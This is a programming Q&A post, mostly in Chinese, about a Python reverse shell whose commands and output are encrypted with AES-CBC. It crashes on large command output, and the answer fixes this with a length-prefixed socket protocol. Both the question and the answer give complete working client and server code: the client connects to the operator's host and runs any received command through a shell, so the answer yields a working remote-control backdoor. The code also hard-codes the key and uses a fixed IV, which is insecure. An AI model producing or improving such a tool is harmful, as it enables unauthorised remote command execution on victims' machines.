Python cryptodome AES-CBC / subprocess 大命令输出问题

Python cryptodome AES-CBC / subprocess large command output issues

我有以下代码用于 python3 中的简单 client/server 反向 shell。

它会很好地连接,任何输出较小的命令都会很好地工作。诸如“whoami”之类的命令并列出包含一个或两个文件的目录的内容。问题似乎与任何提供大输出的命令有关,例如)列出大目录中的所有文件,或“ipconfig /all”命令。这将使程序崩溃并显示“ValueError:填充不正确”。

我确定这很简单,但我对此很陌生,不确定。谢谢

client.py

from Cryptodome.Cipher import AES
from Cryptodome.Util import Padding
import socket
import subprocess
key = b"H" * 32
IV = b"H" * 16

def encrypt(message):
    encryptor = AES.new(key, AES.MODE_CBC, IV)
    padded_message = Padding.pad(message, 16)
    encrypted_message = encryptor.encrypt(padded_message)
    return encrypted_message

def decrypt(cipher):
    decryptor = AES.new(key, AES.MODE_CBC, IV)
    decrypted_padded_message = decryptor.decrypt(cipher)
    decrypted_message = Padding.unpad(decrypted_padded_message, 16)
    return decrypted_message

def connect():
    s = socket.socket()
    s.connect(('192.168.0.2', 8080))
    while True:
        command = decrypt(s.recv(1024))
        if 'leave' in command.decode():
             break
        else:
            CMD = subprocess.Popen(command.decode(), shell=True, stderr=subprocess.PIPE,           stdin=subprocess.PIPE, stdout=subprocess.PIPE)
            s.send(encrypt(CMD.stdout.read()))
    

def main():
    connect()
main()

server.py

import socket

from Cryptodome.Cipher import AES
from Cryptodome.Util import Padding

IV = b"H" * 16
key = b"H" * 32

def encrypt(message):
    encryptor = AES.new(key, AES.MODE_CBC, IV)
    padded_message = Padding.pad(message, 16)
    encrypted_message = encryptor.encrypt(padded_message)
    return encrypted_message

def decrypt(cipher):
    decryptor = AES.new(key, AES.MODE_CBC, IV)
    decrypted_padded_message = decryptor.decrypt(cipher)
    decrypted_message = Padding.unpad(decrypted_padded_message, 16)
    return decrypted_message

def connect():

    s = socket.socket()
    s.bind(('192.168.0.2', 8080))
    s.listen(1)
    conn, address = s.accept()
    print('Connected')
    while True:

        command = input("Shell> ")
        if 'leave' in command:
            conn.send(encrypt(b'leave'))
            conn.close()
            break
        else:
            command = encrypt(command.encode())
            conn.send(command)
            print(decrypt(conn.recv(1024)).decode())
def main():
    connect()

main()
    print(decrypt(conn.recv(1024)).decode())

问题是 conn.recv(1024) 最多只能读取 1024 字节,而较大命令的输出可能超过 1024 字节,导致接收到的密文不完整。

请注意,单次读取也可以减少字节数,因此由于 TCP 是一种流式传输协议,我们真的不知道我们需要读取多少。

一个简单的解决方法是在每条消息前加上密文长度。使用 4 个字节(32 位)作为最大密文,消息如下所示:

[p1,p2,p3,p4][c1,c2,c3...] 其中 p1..p4 是 4 个前缀字节,c1... cn 是密文字节。

所以,现在当我们开始读取一条消息时,我们首先读取 4 个字节,将它们解释为一个整数,从而得到以下密文的大小。

示例实现:

client.py

import socket
import subprocess

from protocol import read_msg, write_msg


def connect():
    s = socket.socket()
    s.connect(('localhost', 4040))
    while True:
        command = read_msg(s)
        print("command %s" % command)
        if 'leave' in command.decode():
            break
        else:
            CMD = subprocess.Popen(command.decode(), shell=True, stderr=subprocess.PIPE, stdin=subprocess.PIPE,
                                   stdout=subprocess.PIPE)
            write_msg(s, CMD.stdout.read())


def main():
    connect()

main()

crypto.py

from Crypto.Util import Padding
from Crypto.Cipher import AES

key = b"H" * 32
IV = b"H" * 16


def encrypt(message):
    encryptor = AES.new(key, AES.MODE_CBC, IV)
    padded_message = Padding.pad(message, 16)
    encrypted_message = encryptor.encrypt(padded_message)
    return encrypted_message


def decrypt(cipher):
    decryptor = AES.new(key, AES.MODE_CBC, IV)
    decrypted_padded_message = decryptor.decrypt(cipher)
    decrypted_message = Padding.unpad(decrypted_padded_message, 16)
    return decrypted_message

protocol.py

from crypto import encrypt, decrypt


def read_msg(s):
    max_buffer_size = 1024

    length_buffer = b""
    while True:
        if len(length_buffer) == 4:
            break
        b = s.recv(1)
        length_buffer += b
    message_length = int.from_bytes(length_buffer, "big")
    message_buffer = b""

    read_size = min(message_length, max_buffer_size)

    to_read = message_length
    while to_read != 0:
        read = s.recv(read_size)
        message_buffer += read
        to_read -= len(read)

    return decrypt(message_buffer)


def write_msg(s, message):
    encrypted_message = encrypt(message)
    message_length = len(encrypted_message)
    message_length_raw = message_length.to_bytes(4, "big")
    s.send(message_length_raw + encrypt(message))

server.py

import socket

from protocol import write_msg, read_msg


def connect():

    s = socket.socket()
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    s.bind(('localhost', 4040))
    s.listen(1)
    conn, address = s.accept()
    print('Connected')
    while True:

        command = input("Shell> ")
        if 'leave' in command:
            write_msg(conn, b'leave')
            conn.close()
            break
        else:
            write_msg(conn, command.encode())
            print(read_msg(conn).decode())
def main():
    connect()

main()